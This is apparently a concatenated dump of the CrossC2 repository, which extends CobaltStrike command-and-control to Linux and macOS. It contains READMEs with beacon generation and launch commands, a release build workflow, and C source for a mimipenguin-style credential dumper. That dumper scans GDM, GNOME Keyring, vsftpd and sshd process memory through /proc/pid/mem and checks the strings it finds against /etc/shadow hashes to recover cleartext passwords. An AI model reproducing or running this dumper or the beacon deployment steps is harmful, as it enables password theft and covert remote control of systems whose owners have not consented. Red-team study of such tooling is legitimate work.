90 |
91 | CrossC2Kit 是围绕着CrossC2 衍生出的Unix平台后渗透扩展,采用 **Aggressor Script** 开源脚本引擎。可以用来创建自动化来模拟红队操作过程,以及扩展CobaltStrike客户端。
92 |
93 | CrossC2Kit 整体继承于CobaltStrike原有的功能,所以开发与编写语法仍然参照官方文档: https://trial.cobaltstrike.com/aggressor-script/index.html
94 |
95 | 但它在 CrossC2 之上又进行了一些API拓展,用于控制 Unix 平台beacon
96 |
97 | API: [📄文档](https://github.com/CrossC2/CrossC2Kit/wiki/API-Reference)
98 |
99 | 使用演示: 
100 |
101 |
102 | # 提示
103 |
104 | `仅做企业、组织内部自身使用,本框架具有一定脆弱性,非专业人员请勿使用,以及禁止用于非法用途及盈利等,否则造成经济损失等问题自行承担并追究其相关责任!`
105 |
106 | # todo
107 |
108 | 1. http-proxy (auth) & socks 代理回连支持
109 | 2. node beacon? (单个节点式,可进行不依靠teamserver托管其他beacon)
110 | - [x] 3. Linux & MacOS 端so/dylib的上线支持、及其衍生的进程注入等功能
111 |
112 | # 感谢
113 |
114 | 感谢 **@Emma** 为CrossC2设计的Logo, 沿用 **Armitage** 、**CobaltStrike** 系列风格进行设计
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/src/targets.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include "targets.h"
8 | #include "dbg.h"
9 |
10 | void initTargets(Target targets[MAX_TARGETS])
11 | {
12 | //GNOME GDM
13 | strncpy(targets[0].name, "gdm-password", MAX_SHRT_NAME);
14 | strncpy(targets[0].source, "[SYSTEM - GNOME]", MAX_SHRT_NAME);
15 | targets[0].pids.size = 0;
16 | targets[0].needles.size = 2;
17 | targets[0].needles.needles[0] = "^_pammodutil_getpwnam_root_1$";
18 | targets[0].needles.needles[1] = "^gkr_system_authtok$";
19 |
20 | //GNOME Keyring
21 | strncpy(targets[1].name, "gnome-keyring-daemon", MAX_SHRT_NAME);
22 | strncpy(targets[1].source, "[SYSTEM - GNOME]", MAX_SHRT_NAME);
23 | targets[1].pids.size = 0;
24 | targets[1].needles.size = 2;
25 | targets[1].needles.needles[0] = "^+libgck\\-1.so\\.0$";
26 | targets[1].needles.needles[1] = "libgcrypt\\.so\\..+$";
27 |
28 | //VSFTPD
29 | strncpy(targets[2].name, "vsftpd", MAX_SHRT_NAME);
30 | strncpy(targets[2].source, "[SYSTEM - VSFTPD]", MAX_SHRT_NAME);
31 | targets[2].pids.size = 0;
32 | targets[2].needles.size = 1;
33 | targets[2].needles.needles[0] = "^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$";
34 |
35 | //SSHD
36 | strncpy(targets[3].name, "sshd:", MAX_SHRT_NAME);
37 | strncpy(targets[3].source, "[SYSTEM - SSH]", MAX_SHRT_NAME);
38 | targets[3].pids.size = 0;
39 | targets[3].needles.size = 1;
40 | targets[3].needles.needles[0] = "^sudo.+";
41 | }
42 |
43 | void getTargetPids(Target targets[MAX_TARGETS])
44 | {
45 | DIR *dirp;
46 | struct dirent *dp;
47 | int pidSize;
48 | char fileName[MAX_CMDLINE_F] = {0};
49 | char buf[MAX_CMDLINE] = {0};
50 | FILE *fp = NULL;
51 | int i = -1;
52 |
53 | // Open process Dir
54 | if ((dirp = opendir("/proc")) == 0)
55 | {
56 | printf("[!!] /proc Access Denied!\n");
57 | exit(EXIT_FAILURE);
58 | }
59 |
60 | // Iterate through all processes
61 | while ((dp = readdir(dirp)) != NULL)
62 | {
63 | //If not a pid, skip
64 | if (fnmatch("[0-9]*", dp->d_name, 0) != 0)
65 | continue;
66 |
67 | // Get process name
68 | snprintf(fileName, MAX_CMDLINE_F-1, "/proc/%s/cmdline", dp->d_name);
69 | fp = fopen(fileName, "r");
70 | if (fp == NULL)
71 | {
72 | printf("Could not read /proc/%s/cmdline", dp->d_name);
73 | exit(EXIT_FAILURE);
74 | }
75 | fgets(buf, MAX_CMDLINE-1, fp);
76 |
77 | //Compare cmdline to target names (fuzzy search)
78 | for (i =0; i < MAX_TARGETS; i++)
79 | {
80 | if (strstr(buf, targets[i].name) != NULL)
81 | {
82 | pidSize = targets[i].pids.size++; //update pids size
83 | targets[i].pids.array[pidSize] = atoi(dp->d_name); // update pids for target
84 | break;
85 | }
86 | }
87 | }
88 |
89 | closedir(dirp);
90 | return;
91 | }
92 |
93 | #ifdef DEBUG
94 | void dumpTargets(Target *targets)
95 | {
96 | int i = -1, j = -1;
97 |
98 | for (i = 0; i < MAX_TARGETS; i++)
99 | {
100 | if (targets[i].pids.size > 0) // pids found
101 | {
102 | log_info("FOUND TARGET PROCESS!\n");
103 | log_info("Name: %s", targets[i].name);
104 | log_info("Source: %s", targets[i].source);
105 | log_info("Needles:\n");
106 | for (j =0; j
12 |
13 |
14 |
15 |
16 | [README](README.md) | [中文文档](README_zh.md) | [README_FULL](README_full.md) | [中文完整文档](README_zh_full.md)
17 |
18 |
19 | # CobaltStrike support
20 |
21 | Support CobaltStrike's security assessment of other platforms (Linux/MacOS/...), and include the development support of Unix post-penetration module
22 |
23 | | | CS3.14(bug fixes) | CS4.0 | CS4.X (4.1~4.8) |
24 | |-----------------|----------|-------|---------------|
25 | | Master branch | ✅ | | |
26 | | cs4.0 branch | | ✅ | |
27 | | cs4.1 branch | | | ✅ |
28 | | | | | |
29 | | Release Page <= v2.1 | ✅ | | |
30 | | Release Page >= v2.2 | | | ✅ |
31 |
32 | 
33 |
34 | # Usage
35 |
36 | > 1. Download
37 |
38 | Download **CrossC2.cna** **genCrossC2** **CrossC2Kit**, modify `CrossC2.cna` configuration
39 |
40 | > 2. Create listener and copy key
41 |
42 | * Create `windows/beacon_https/reverse_https` listener
43 | * Copy `.cobaltstrike.beacon_keys` in **teamserver directory** to **local**
44 |
45 | > 3. Function extension
46 |
47 | * Add `CrossC2Kit_Loader.cna`, including memory loading and other functions
48 | * `cs4.x` version file management, process list function is missing, you must use this Loader to restart
49 |
50 | > 4. Generate beacon
51 |
52 | Use the GUI function provided by cli or cna to generate beacon by default
53 |
54 | `genCrossC2 `
55 |
56 | ex:
57 |
58 | ```
59 | 1. read BEACON_KEY from current path and generate BEACON of default C2Profile traffic protocol
60 | genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out
61 |
62 | 2. specify the BEACON of the custom protocol dynamic library
63 | genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out
64 |
65 | 3. specify the C2Profile that needs to be automatically parsed
66 | genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out
67 | ```
68 |
69 | more advanced configuration can be found in the documentation: [📄Reference](https://github.com/gloxec/CrossC2/wiki/genCrossC2)
70 |
71 | > 5. Run beacon
72 |
73 | * Run the one-click online script generated by the CrossC2 plugin on the target
74 | * After uploading the beacon to the target machine for empowered operation
75 | * Set the working directory for beacon and run: `export CCPATH=/opt/ && /tmp/c2`
76 | * Temporarily specify the protocol library for beacon and run: `/tmp/c2 /tmp/c2-rebind.so`
77 | * Temporarily set C2 configuration for beacon: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2`
78 | * Set DEBUG to view the online status of beacon: `export CCDEBUG=1 && /tmp/c2`
79 |
80 | # CrossC2Kit
81 |
82 | CrossC2Kit: https://github.com/CrossC2/CrossC2Kit
83 |
84 | CrossC2Kit is an infiltration expansion around the Unix platform derived from CrossC2. Use **Aggressor Script** Open Source Script engine. It can be used to create automation to simulate the operation process of the Red Team and expand the **CobaltStrike** client.
85 |
86 | **CrossC2Kit** is inherited from the original features of **CobaltStrike**, so the development and writing grammar still refer to the official documentation: https://trial.cobaltstrike.com/aggressor-script/index.html
87 |
88 | But it has some API extensions on top of CrossC2 to control the **beacon** of the Unix platform
89 |
90 | API: [📄Reference](https://github.com/CrossC2/CrossC2Kit/wiki/API-Reference)
91 |
92 | Demo: 
93 |
94 | # Note
95 |
96 | `Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.`
97 |
98 | # Todo
99 |
100 | 1. http-proxy (auth) & socks proxy back connection support
101 | 2. node beacon? (Single node type, can host other beacon without relying on teamserver)
102 | 3. Linux & MacOS side so/dylib's reverse shell support, and its derivative process injection functions
103 |
104 | # Thank
105 |
106 | Thanks to **@Emma** for the Logo designed for CrossC2, which is designed in the style of **Armitage** and **CobaltStrike** series
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/src/scanner.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include "targets.h"
13 | #include "scanner.h"
14 | #include "dbg.h"
15 | #include "max.h"
16 | #include "users.h"
17 |
18 | // Global user list
19 | user_t *g_users;
20 | int g_nusers;
21 |
22 | // Iterate discovered target processes - proccess memory for each one
23 | int processTargets(Target targets[MAX_TARGETS])
24 | {
25 | int i = -1, j = -1;
26 | int ret = -1;
27 |
28 | // Potential passwords are hashed and compared against /etc/shadow
29 | // So let's parse user's from there first so they are available for later
30 | if ( (g_nusers = GetUsers(&g_users)) < 0 )
31 | {
32 | log_error("Failed to map parse /etc/shadow users");
33 | printf("[!!] Failed to parse /etc/shadow users\n");
34 | goto DONE;
35 | }
36 |
37 | for (i = 0; i < MAX_TARGETS; i++)
38 | {
39 | if (targets[i].pids.size > 0) // if pids found for target
40 | {
41 | printf("[+] Searching: %s (%s)\n", targets[i].source, targets[i].name);
42 | for (j = 0; j < targets[i].pids.size; j ++)
43 | {
44 | if ( processMemory(targets[i], targets[i].pids.array[j]) < 0 )
45 | {
46 | log_warn("Failed to process pid %d", targets[i].pids.array[j]);
47 | }
48 | }
49 | }
50 | }
51 | ret = 0;
52 | DONE:
53 | PutUsers(&g_users, g_nusers);
54 | return ret;
55 | }
56 |
57 | // Find valid memory regions for given target and pid - process region for each one
58 | int processMemory(Target target, pid_t pid)
59 | {
60 | FILE *maps_fp = NULL, *mem_fp = NULL;
61 | char maps_path[MAX_PATH] = {0};
62 | char mem_path[MAX_PATH] = {0};
63 | char atts[ATTS_SZ] = {0};
64 | unsigned long start = 0, end = 0;
65 | char line[MAX_MAP_LINE] = {0};
66 | size_t line_len = 0;
67 | int ret = -1;
68 |
69 | // Open our memory files
70 | snprintf(maps_path, MAX_PATH-1, "/proc/%d/maps", pid);
71 | if ( (maps_fp = fopen(maps_path, "r")) == NULL )
72 | {
73 | log_error("Failed to open %s", maps_path);
74 | goto DONE;
75 | }
76 |
77 | snprintf(mem_path, MAX_PATH-1, "/proc/%d/mem", pid);
78 | if ( (mem_fp = fopen(mem_path, "r")) == NULL )
79 | {
80 | log_error("Failed to open %s", mem_path);
81 | goto DONE;
82 | }
83 |
84 | //process memory chunks
85 | while (fgets(line, MAX_MAP_LINE-1, maps_fp))
86 | {
87 | line_len = strlen(line); // get real len
88 | if ( line[line_len-1] != '\n' )
89 | log_warn("We did not grab the entire maps line! len: %u", (unsigned int)line_len);
90 |
91 | // Only parse anonymous regions (ie not file backed)
92 | if ( line[line_len-2] != ' ' )
93 | continue; //skipping filebacked region
94 |
95 | sscanf(line, "%lx-%lx %s", &start, &end, atts);
96 | if (strstr(atts, "rw") == NULL) // Only parse read/write regions
97 | continue;
98 | if ( processRegion(mem_fp, start, end) < 0 )
99 | {
100 | log_error("Failed to process region");
101 | continue;
102 | }
103 | }
104 |
105 | ret = 0;
106 | DONE:
107 | if (maps_fp != NULL)
108 | fclose(maps_fp);
109 | if (mem_fp != NULL)
110 | fclose(mem_fp);
111 | return ret;
112 |
113 | }
114 |
115 | // returns string len or -1 on error, -2 no strings found
116 | int getStr(FILE *fp, char *str, size_t min_str, size_t max_str, size_t *cur, size_t max_cur)
117 | {
118 | unsigned char c = 0;
119 | int str_len = 0;
120 |
121 | // dont go pass end of region
122 | while ( *cur < max_cur )
123 | {
124 | c = (unsigned char)fgetc(fp);
125 | if ( c == EOF )
126 | {
127 | log_warn("Got EOF while parsing region for strings?");
128 | return -1;
129 | }
130 | (*cur)++; // inc our cursor - the read was good
131 |
132 | // if not printable, check our current run and bail or restart
133 | if ( !isprint((int)c) )
134 | {
135 | if ( str_len >= min_str )
136 | return str_len; // We have a string!
137 | // else reset our string if need to and restart
138 | if ( str_len )
139 | memset(str, 0, str_len);
140 | str_len = 0;
141 | continue;
142 | }
143 | // else char IS printable, copy it into our current str and inc our run count
144 | str[str_len] = c;
145 | str_len++;
146 | if ( str_len == max_str ) //we filled our tring up
147 | return str_len;
148 |
149 | }
150 | return -2; // hit the end of our range
151 | }
152 |
153 |
154 | int processRegion(FILE *fp, unsigned long start, unsigned long end)
155 | {
156 | char str[MAX_STR] = {0};
157 | int ret = -1;
158 | size_t cur = 0;
159 | size_t max_cur = 0;
160 | int str_len = -1;
161 |
162 | max_cur = (end-start);
163 | // Seek to our region
164 | if ( fseeko(fp, start, SEEK_SET) < 0 )
165 | {
166 | log_error("Failed to fseeko %lx", start);
167 | goto DONE;
168 | }
169 |
170 | while( cur < max_cur )
171 | {
172 | if ( (str_len = getStr(fp, str, (MIN_STR), (MAX_STR-1), &cur, max_cur) == -1) )
173 | {
174 | log_error("error in getStr!");
175 | goto DONE;
176 | }
177 | if ( str_len == -2 ) //hit max_cur! - no strings found
178 | break;
179 |
180 | // TODO implement target needles to limit the number
181 | // of crypt() calls
182 |
183 | // Compare string hash against user hashes for a match
184 | if ( CheckForUserHash(g_users, g_nusers, str) == 1 )
185 | {
186 | // PASS FOUND XXX
187 | }
188 |
189 | memset(str, 0, str_len);
190 | }
191 |
192 | ret = 0;
193 | DONE:
194 | return ret;
195 | }
196 |
197 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/src/users.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #include "dbg.h"
9 | #include "users.h"
10 | #include "max.h"
11 |
12 | // Does user from shadow line have a hash?
13 | int isValidUser(char *line)
14 | {
15 | char *cur = NULL;
16 |
17 | if ( (cur = strchr(line, ':')) == NULL )
18 | {
19 | log_warn("Invalid user line?!");
20 | return -1;
21 | }
22 | if ( cur[1] == '$' ) //valid user with a hash
23 | return 1;
24 | else
25 | return 0; // invalid user, probably disabled or locked
26 | }
27 |
28 | int CountUsers(FILE *fp)
29 | {
30 | char line[MAX_USER_LINE] = {0};
31 | int cnt = 0;
32 |
33 | while ( fgets(line, MAX_USER_LINE-1, fp) )
34 | {
35 | switch ( isValidUser(line) )
36 | {
37 | case -1:
38 | log_warn("Invalid user line?");
39 | break;
40 | case 0: // not valid aka no hash
41 | break;
42 | default: //valid
43 | cnt++;
44 | break;
45 | }
46 | }
47 | return cnt;
48 | }
49 | // populate our user list with hashes, salts, and names
50 | int PopulateUsers(FILE *fp, user_t *users, int nusers)
51 | {
52 | char line[MAX_USER_LINE] = {0};
53 | int cur = 0;
54 | char *uname = NULL;
55 | char *id_salt_hash = NULL;
56 | char *id_salt = NULL, *id_salt_end = NULL;
57 | int id_salt_len = 0;
58 | char *hash = NULL;
59 |
60 | while ( fgets(line, MAX_USER_LINE-1, fp) )
61 | {
62 | if ( (uname = strtok(line, ":")) == NULL )
63 | {
64 | log_warn("invalid user line?");
65 | continue;
66 | }
67 | if ( uname[strlen(uname)+1] != '$' )
68 | {
69 | //debug("%s", &uname[strlen(uname)+1]);
70 | //log_warn("Invalid user, no hash [%s]", uname);
71 | continue;
72 | }
73 | if ( (id_salt_hash = strtok(NULL, ":")) == NULL )
74 | {
75 | log_warn("Corrupted user line?");
76 | continue;
77 | }
78 | // extract hash after id_salt
79 | if ( (id_salt_end = strrchr(id_salt_hash, '$')) == NULL )
80 | {
81 | log_warn("Corrupted user line? No salt end?");
82 | continue;
83 | }
84 |
85 | if ( cur >= nusers )
86 | {
87 | log_error("More users found then before?! %d vs %d", cur, nusers);
88 | return -1; //FATAL
89 | }
90 |
91 | hash = id_salt_end+1;
92 | id_salt_len = hash - id_salt_hash;
93 |
94 | // allocate memory for the fields and populate
95 | users[cur].uname_len = strlen(uname) + 1;
96 | if ( (users[cur].uname = calloc(users[cur].uname_len, 1)) == NULL )
97 | {
98 | log_error("Failed to calloc uname");
99 | return -1; //FATAL
100 | }
101 | memcpy(users[cur].uname, uname, users[cur].uname_len-1);
102 |
103 | users[cur].id_salt_len = id_salt_len + 1;
104 | if ( (users[cur].id_salt = calloc(users[cur].id_salt_len, 1)) == NULL )
105 | {
106 | log_error("Failed to calloc id_salt");
107 | return -1; //FATAL
108 | }
109 | memcpy(users[cur].id_salt, id_salt_hash, users[cur].id_salt_len-1);
110 |
111 | users[cur].hash_len = strlen(hash) + 1;
112 | if ( (users[cur].hash = calloc(users[cur].hash_len, 1)) == NULL )
113 | {
114 | log_error("Failed to calloc hash");
115 | return -1; //FATAL
116 | }
117 | memcpy(users[cur].hash, hash, users[cur].hash_len-1);
118 | debug("valid users found: %s", uname);
119 | cur++; //next user
120 | }
121 |
122 | if ( cur != (nusers) )
123 | {
124 | log_error("User count mismatch! %d vs %d", cur, nusers);
125 | return -1; //FATAL
126 | }
127 | }
128 |
129 | // Populates an array of User structs with local
130 | // users and their hashes/salts. Only targets
131 | // users with a valid hash
132 | // -1 = error,
133 | // 0 = no valid users (prob an error)
134 | // number of valid users = success
135 | int GetUsers(user_t **users)
136 | {
137 | FILE *fp = NULL;
138 | int num_users = 0;
139 | int ret = -1;
140 | char line[MAX_USER_LINE] = {0};
141 |
142 | if ( (fp = fopen("/etc/shadow", "r")) == NULL )
143 | {
144 | log_error("Failed to open /etc/shadow");
145 | goto DONE;
146 | }
147 |
148 | // first count valid users
149 | if ( (num_users = CountUsers(fp)) == 0)
150 | {
151 | log_warn("No valid users on system?");
152 | goto DONE;
153 | }
154 |
155 | log_info("Found %d valid users on system", num_users);
156 |
157 | // allocate space for our valid user list
158 | if ( (*users = (user_t*)calloc(num_users, sizeof(user_t))) == NULL )
159 | {
160 | log_error("Failed to calloc user_t list");
161 | goto DONE;
162 | }
163 |
164 | rewind(fp); //reset fp pos
165 |
166 | if ( PopulateUsers(fp, *users, num_users) < 0 )
167 | {
168 | log_error("Fatal error populating the users");
169 | goto DONE;
170 | }
171 |
172 | ret = num_users;
173 | DONE:
174 | if ( fp != NULL )
175 | fclose(fp);
176 | return ret;
177 | }
178 |
179 |
180 | // Frees all memory being used by the User list
181 | void PutUsers(user_t **users, int nusers)
182 | {
183 | int i = 0;
184 | if ( *users == NULL )
185 | return;
186 | for ( i = 0; i < nusers; i++ )
187 | {
188 | if ( (*users)[i].uname != NULL )
189 | (*users)[i].uname = NULL;
190 | if ( (*users)[i].id_salt != NULL )
191 | free((*users)[i].id_salt);
192 | if ( (*users)[i].hash != NULL )
193 | free((*users)[i].hash);
194 | }
195 | free(*users);
196 | *users = NULL;
197 | }
198 |
199 | // Check for a match of hashed version of str against user hashes
200 | // If match return user index
201 | // else 0 for no match
202 | int CheckForUserHash(user_t *users, int nusers, char *str)
203 | {
204 | int i = 0;
205 | char *str_hash = NULL;
206 |
207 | for ( i = 0; i < nusers; i++ )
208 | {
209 | if ( (str_hash = crypt((const char*)str, users[i].id_salt)) == NULL )
210 | {
211 | log_error("crypt failed string: %s, salt: %s", str, users[i].id_salt);
212 | continue;
213 | }
214 | if ( strstr(str_hash, users[i].hash) != NULL )
215 | {
216 | printf(" [-] %s:%s\n", users[i].uname, str);
217 | return 1; // FOUND PASS!
218 | }
219 | }
220 | return 0; // not found
221 | }
222 |
--------------------------------------------------------------------------------
/.github/workflows/compile-crossc2kit-release.yml:
--------------------------------------------------------------------------------
1 | on:
2 | push:
3 | branches:
4 | - cs4.1
5 | paths:
6 | - 'CrossC2Kit/**'
7 | - '!CrossC2Kit/README.md'
8 |
9 | name: Compile CrossC2Kit Release
10 | jobs:
11 | job1:
12 | name: build (linux)
13 | runs-on: ubuntu-20.04
14 | steps:
15 | - name: Checkout code
16 | uses: actions/checkout@v2
17 | with:
18 | submodules: 'true'
19 | - name: Get current date
20 | id: date
21 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
22 | - name: Build project
23 | run: |
24 | uname -a
25 | cp -r CrossC2Kit/third-party /tmp/third-party
26 | cp release.sh /tmp/
27 | cp CrossC2Kit/compile.sh /tmp/
28 | cd /tmp
29 | chmod 755 compile.sh
30 | chmod 755 release.sh
31 | ./compile.sh > /tmp/elog
32 | find /tmp/third/ >> /tmp/elog
33 | ./release.sh >> /tmp/elog
34 | echo 1 > /tmp/blank
35 | cd /tmp/
36 | - name: Build project
37 | run: |
38 | echo "# Arch" >> $GITHUB_STEP_SUMMARY
39 | uname -a >> $GITHUB_STEP_SUMMARY
40 | echo "# Build Result" >> $GITHUB_STEP_SUMMARY
41 | echo "" >> $GITHUB_STEP_SUMMARY
42 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY
43 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY
44 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY
45 | - name: Gets latest created release info
46 | id: latest_release_info
47 | uses: jossef/action-latest-release-info@v1.1.0
48 | env:
49 | GITHUB_TOKEN: ${{ github.token }}
50 | - name: Create a placeholder file
51 | id: create-placeholder-file
52 | uses: actions/upload-release-asset@v1
53 | env:
54 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
55 | with:
56 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
57 | asset_path: /tmp/blank
58 | asset_name: placeholder
59 | asset_content_type: application/zip
60 | - name: Delete old release assets
61 | uses: mknejp/delete-release-assets@v1
62 | with:
63 | token: ${{ github.token }}
64 | tag: ${{ steps.latest_release_info.outputs.tag_name }}
65 | assets: |
66 | bot-third-linux*.zip
67 | placeholder
68 | - name: Upload Release Asset
69 | id: upload-release-asset
70 | uses: actions/upload-release-asset@v1
71 | env:
72 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
73 | with:
74 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
75 | asset_path: /tmp/third-party.zip
76 | asset_name: bot-third-linux-${{ steps.date.outputs.date }}.zip
77 | asset_content_type: application/zip
78 | job2:
79 | name: build (macOS)
80 | runs-on: macos-11
81 | steps:
82 | - name: Checkout code
83 | uses: actions/checkout@v3
84 | with:
85 | submodules: 'true'
86 | - name: Get current date
87 | id: date2
88 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
89 | - name: Build project
90 | run: |
91 | uname -a
92 | cp -r CrossC2Kit/third-party /tmp/third-party
93 | cp release.sh /tmp/
94 | cp CrossC2Kit/compile.sh /tmp/
95 | cd /tmp
96 | chmod 755 compile.sh
97 | chmod 755 release.sh
98 | ./compile.sh > /tmp/elog
99 | find /tmp/third-party/ >> /tmp/elog
100 | ./release.sh >> /tmp/elog
101 | echo 1 > /tmp/blank
102 | cd /tmp/
103 | - name: Build project
104 | run: |
105 | echo "# Arch" >> $GITHUB_STEP_SUMMARY
106 | uname -a >> $GITHUB_STEP_SUMMARY
107 | echo "# Build Result" >> $GITHUB_STEP_SUMMARY
108 | echo "" >> $GITHUB_STEP_SUMMARY
109 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY
110 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY
111 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY
112 | - name: Gets latest created release info
113 | id: latest_release_info2
114 | uses: jossef/action-latest-release-info@v1.1.0
115 | env:
116 | GITHUB_TOKEN: ${{ github.token }}
117 | - name: Create a placeholder file
118 | id: create-placeholder-file2
119 | uses: actions/upload-release-asset@v1
120 | env:
121 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
122 | with:
123 | upload_url: ${{ steps.latest_release_info2.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
124 | asset_path: /tmp/blank
125 | asset_name: placeholder
126 | asset_content_type: application/zip
127 | - name: Delete old release assets
128 | uses: mknejp/delete-release-assets@v1
129 | with:
130 | token: ${{ github.token }}
131 | tag: ${{ steps.latest_release_info2.outputs.tag_name }}
132 | assets: |
133 | bot-third-mac*.zip
134 | placeholder
135 | - name: Upload Release Asset
136 | id: upload-release-asset2
137 | uses: actions/upload-release-asset@v1
138 | env:
139 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
140 | with:
141 | upload_url: ${{ steps.latest_release_info2.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
142 | asset_path: /tmp/third-party.zip
143 | asset_name: bot-third-mac-${{ steps.date2.outputs.date }}.zip
144 | asset_content_type: application/zip
145 | job3:
146 | needs: [job1, job2]
147 | name: build release
148 | runs-on: ubuntu-20.04
149 | steps:
150 | - name: Checkout code
151 | uses: actions/checkout@v3
152 | with:
153 | submodules: 'true'
154 | - name: Download Release Asset
155 | id: download_release_asset
156 | uses: i3h/download-release-asset@v1
157 | with:
158 | owner: gloxec
159 | repo: CrossC2
160 | tag: latest
161 | file: /bot-third-linux-.*zip/
162 | path: /tmp/
163 | - name: Download Release Asset
164 | id: download_release_asset2
165 | uses: i3h/download-release-asset@v1
166 | with:
167 | owner: gloxec
168 | repo: CrossC2
169 | tag: latest
170 | file: /bot-third-mac-.*zip/
171 | path: /tmp/
172 | - name: Get current date
173 | id: date3
174 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
175 | - name: Build project
176 | run: |
177 | uname -a
178 | cp -r CrossC2Kit /tmp/CrossC2Kit
179 | rm -rf /tmp/CrossC2Kit/third-party/
180 | mv /tmp/bot-third-mac-*.zip /tmp/CrossC2Kit/third-mac.zip
181 | mv /tmp/bot-third-linux-*.zip /tmp/CrossC2Kit/third-linux.zip
182 | cd /tmp/CrossC2Kit/
183 | unzip -o third-mac.zip
184 | unzip -o third-linux.zip
185 | rm -rf third-mac.zip
186 | rm -rf third-linux.zip
187 | cd /tmp/
188 | zip -r CrossC2Kit-${{ steps.date3.outputs.date }} CrossC2Kit > /tmp/elog
189 | echo 1 > /tmp/blank
190 | cd /tmp/
191 | - name: Build project
192 | run: |
193 | echo "# Build Files" >> $GITHUB_STEP_SUMMARY
194 | echo "" >> $GITHUB_STEP_SUMMARY
195 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY
196 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY
197 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY
198 | - name: Gets latest created release info
199 | id: latest_release_info3
200 | uses: jossef/action-latest-release-info@v1.1.0
201 | env:
202 | GITHUB_TOKEN: ${{ github.token }}
203 | - name: Create a placeholder file
204 | id: create-placeholder-file3
205 | uses: actions/upload-release-asset@v1
206 | env:
207 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
208 | with:
209 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
210 | asset_path: /tmp/blank
211 | asset_name: placeholder
212 | asset_content_type: application/zip
213 | - name: Delete old release assets
214 | uses: mknejp/delete-release-assets@v1
215 | with:
216 | token: ${{ github.token }}
217 | tag: ${{ steps.latest_release_info3.outputs.tag_name }}
218 | assets: |
219 | bot-third-*.zip
220 | CrossC2Kit-*.zip
221 | placeholder
222 | - name: Upload CrossC2Kit Release Asset
223 | id: upload-release-asset3
224 | uses: actions/upload-release-asset@v1
225 | env:
226 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
227 | with:
228 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
229 | asset_path: /tmp/CrossC2Kit-${{ steps.date3.outputs.date }}.zip
230 | asset_name: CrossC2Kit-GithubBot-${{ steps.date3.outputs.date }}.zip
231 | asset_content_type: application/zip
232 |
--------------------------------------------------------------------------------
/README_zh_full.md:
--------------------------------------------------------------------------------
1 | # CrossC2 framework
2 |
3 | [README](README.md) | [中文文档](README_zh.md)
4 |
5 | 🚀 更快捷的生成方式,参见 **cna** 介绍 [GO📌](#cna插件方式)
6 |
7 | 🔥 **Linux** & **MacOS** 支持无文件落地从内存中加载执行 **动态库** 或 **可执行文件** [GO📖](https://gloxec.github.io/CrossC2/zh_cn/api/)
8 |
9 | 🔥 灵活自定义执行文件的数据返回类型,**端口扫描**, **屏幕截图**, **键盘记录**, **口令凭证** 等用户自定义开发实现更便捷 [GO📖](https://gloxec.github.io/CrossC2/zh_cn/api/commons.html) ( [样例: GO📌](#CustomExtension) )
10 |
11 | 🔥 自定义通信协议 [GO📖](https://gloxec.github.io/CrossC2/zh_cn/protocol/)
12 |
13 | 🔥 现已支持横向移动 [GO📌](#横向移动:-使用方法)
14 |
